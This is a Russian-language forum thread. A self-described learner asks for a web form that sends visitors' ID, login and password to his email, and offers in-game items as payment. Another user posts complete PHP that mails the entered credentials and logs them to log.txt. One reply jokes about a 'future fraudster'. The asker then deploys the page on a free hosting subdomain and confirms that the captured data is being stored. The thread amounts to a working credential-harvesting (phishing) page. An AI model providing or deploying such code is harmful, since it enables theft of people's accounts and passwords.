Перейти к публикации

Разработка сайта!


555

Рекомендованные сообщения

Всем привет, написал пока сайт только html страницу, с помощью php теперь нужно, чтобы когда в поля прописал данные, и нажал на кнопку "Отправить" , на почту приходили эти данные?

Например, человек зашёл на сайт, заполнил данные, и нажал кнопку, и мне должно придти на почту, ID, Логин, Пароль. С помощью php это можно реализовать? Если да, подскажите, могу дать вещи с галы, голды, и тд. Мне нужно, я учусь просто на программиста сам дома.

933838891_.thumb.png.3523f7d6df97c3b97ba6cb73a195f48b.png

Ссылка на сообщение
Поделиться на других сайтах
<form method="POST" action="#">
   <input name="id">/* твои ид */
   <input name="login">/* твои логин */
   <input name="password">/* твои пароль */
   <input type="submit" name="send-form">/* твои кнопка отправки */
</form>
<?php
if(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */

   $to = 'твой @yandex.ru'; /* твои мыло */
   $subject = 'Login form'; /* тема письма */
   $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */

   $headers = 'From: [email protected]' . "\r\n" .
       'Reply-To: [email protected]' . "\r\n" .
       'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */

   mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это  */

   $log='';

   /* запись формы в  текстовик  */
   if(file_exists('log.txt')){
      $log = file_get_contents('log.txt');
   }

   $log = $log. "\n" .$message;
   file_put_contents('log.txt',$log);

}

Ссылка на сообщение
Поделиться на других сайтах

что смешного?

 

Отправлено спустя 32 секунды:

22868
<form method="POST" action="#">
   <input name="id">/* твои ид */
   <input name="login">/* твои логин */
   <input name="password">/* твои пароль */
   <input type="submit" name="send-form">/* твои кнопка отправки */
</form>
<?php
if(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */

   $to = 'твой @yandex.ru'; /* твои мыло */
   $subject = 'Login form'; /* тема письма */
   $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */

   $headers = 'From: [email protected]' . "\r\n" .
       'Reply-To: [email protected]' . "\r\n" .
       'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */

   mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это  */

   $log='';

   /* запись формы в  текстовик  */
   if(file_exists('log.txt')){
      $log = file_get_contents('log.txt');
   }

   $log = $log. "\n" .$message;
   file_put_contents('log.txt',$log);

}

php код можно к html подкрепить?

 

Отправлено спустя 6 минут 5 секунд:

22869 Будущий "мошенник"

НЕТ, ПРОСТО МНЕ НУЖЕН ПРИМЕР, ДЛЯ ОТПРАВКИ НА ПОЧТУ, КОТОРЫЕ ВВЁЛ ПОЛЬЗОВАТЕЛЬ, Я ХОЧУ СДЕЛАТЬ СВОЮ ПРОФЕССИЮ ПРОГРАММИСТОМ. УЧУСЬ ПОЭТОМУ.

Ссылка на сообщение
Поделиться на других сайтах
22873

что смешного?

 

Отправлено спустя 32 секунды:

 

php код можно к html подкрепить?

 

Отправлено спустя 6 минут 5 секунд:

 

НЕТ, ПРОСТО МНЕ НУЖЕН ПРИМЕР, ДЛЯ ОТПРАВКИ НА ПОЧТУ, КОТОРЫЕ ВВЁЛ ПОЛЬЗОВАТЕЛЬ, Я ХОЧУ СДЕЛАТЬ СВОЮ ПРОФЕССИЮ ПРОГРАММИСТОМ. УЧУСЬ ПОЭТОМУ.

Нет!

Расширение *php должно быть

если *php то в html

 

Подкрепляется так

<?

echo 'bla';

?>

Изменено пользователем Гость
Ссылка на сообщение
Поделиться на других сайтах
22874

Нет!

Расширение *php должно быть

Всмысле?

Ссылка на сообщение
Поделиться на других сайтах
22877

Всмысле?

 

 

 

 

 

php код будет работать только если файл формата *php или если твой файл *html обрабатывает сам php

Ссылка на сообщение
Поделиться на других сайтах
22874

    /* твои ид */

    /* твои логин */

    /* твои пароль */

    /* твои кнопка отправки */

<?php

if(isset($_POST['send-form'])){ /* твои субмит то обрабатываем форма */

 

    $to = 'твой @yandex.ru'; /* твои мыло */

    $subject = 'Login form'; /* тема письма */

    $message = $_POST['id'].' '.$_POST['login'].' '.$_POST['password']; /* твои текст письма */

 

    $headers = 'From: [email protected]' . "\r\n" .

        'Reply-To: [email protected]' . "\r\n" .

        'X-Mailer: PHP/' . phpversion(); /* твои заголовки пых пых */

 

    mail($to, $subject, $message, $headers); /* отправка письма -- твой хоcтер должен поддерживать это  */

 

    $log='';

 

    /* запись формы в  текстовик  */

    if(file_exists('log.txt')){

       $log = file_get_contents('log.txt');

    }

 

    $log = $log. "\n" .$message;

    file_put_contents('log.txt',$log);

 

}

Вот ошибка :/

 

Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\Server\data\htdocs\php\test.php on line 18

 

Отправлено спустя 7 минут 43 секунды:

22881

Вот ошибка :/

 

Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\Server\data\htdocs\php\test.php on line 18

создается текстовик, там идет данные которые вводились, на почту не приходит , из-за того, что с локального сервера запускаю? Надо на хосстинг залить и норм будет да?

 

Отправлено спустя 46 минут 59 секунд:

Посоветуйте, есть ли бесплатный хостинг с поддержкой - mail($to, $subject, $message, $headers) ?

Мне для теста нужно, будет ли работать, позднее куплю какой-нибудь, щас бы мне хоть на 1 час проверить , будет ли сайт работать

 

Отправлено спустя 8 минут 51 секунду:

вот сделал сайт, modehisude.000webhostapp.com , на почту мне не приходит ничего, но на хостинге там создаётся файл Log.txt и туда данные приходят, а вот как с мылом быть хз)

Ссылка на сообщение
Поделиться на других сайтах

Пожалуйста, войдите для комментирования

Вы сможете оставить комментарий после входа



Войти сейчас
×
×
  • Создать...